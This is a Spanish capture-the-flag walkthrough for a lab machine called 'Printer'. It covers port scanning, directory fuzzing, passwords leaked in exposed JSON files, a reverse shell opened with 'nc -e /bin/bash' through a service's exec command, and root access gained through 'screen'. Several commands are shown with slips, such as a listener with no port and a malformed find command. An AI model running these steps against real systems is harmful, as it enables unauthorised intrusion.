Máquina: Printer
SO: Linux
Dificultad: Easy
Link OVA: Vulnyx


img

1. Listamos dispositivos en la red.

sudo arp-scan -I enp2s0 --localnet

img

2. Escaneamos puertos y servicios en la máquina Printer.

sudo nmap -p- --open -T5 -sS -sCV --min-rate=5000 -n -Pn 192.168.1.6 -oN report

img

- El el servidor apache no tenemos nada, incluso fuzzeando no tenemos nada.

3. Tenemos servidor Abyss, intentamos acceder, pero nos pide una contraseña.

nc 192.168.1.6 9999

img

4. Hacemos fuzzing en busca de directorios; encontramos api.

gobuster dir -u http://192.168.1.6/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 50

img

5. Seguimos fuzzeando un poco más; tenemos directorio printers.

gobuster dir -u http://192.168.1.6/api/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,html,txt

img

6. Vemos que apuntando a esta ruta nos da un formato de búsqueda.

http://192.168.1.6/api/printers/

img

7. Fuzzeamos el id y la extensión correspondiente; encontramos id validos en formato json.

wfuzz -c --hc=404 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -z list,json,php,html,txt 'http://192.168.1.6/ api/printers/printerFUZZ.FUZ2Z'

img

8. Vamos viendo contraseñas en los archivos json con las ids que obtuvimos.

http://192.168.1.6/api/printers/printer1599.json

img

9. Probamos cada contraseña; asi obtenemos acceso.

nc 192.168.1.6 9999

img

10. Vemos comandos disponibles.

?

img

- Tenemos exec que nos permite ejecutar un comando.

11. Probamos el ejemplo que nos da.

exec id

img

12. Aprovechamos para obtener un reverse shell.

- Primero nos ponemos en escucha.

sudo nc -nlvp

img

- Obtenemos la shell.

exec nc -e /bin/bash 192.168.1.6 443

id

whoami

img

13. Ponemos la shell totalmente interactiva.

python -c 'import pty; pty.spawn("/bin/bash")'

img

14. Tratamos un poco los variables de entorno.

export TERM=xterm

export SHELL=bash

img

15. Buscamos binarios sudoers; tenemos varios.

find / -type -perm -4000 2>/dev/null

img

16. Buscando info de cada binario, usaremos el binario screen para escalar privilegios.

screen -x root/

- Ya somos usuario root.

17. Finalizo obteniendo la flag de root :) .

ls

cat root.txt

img


Finalizado.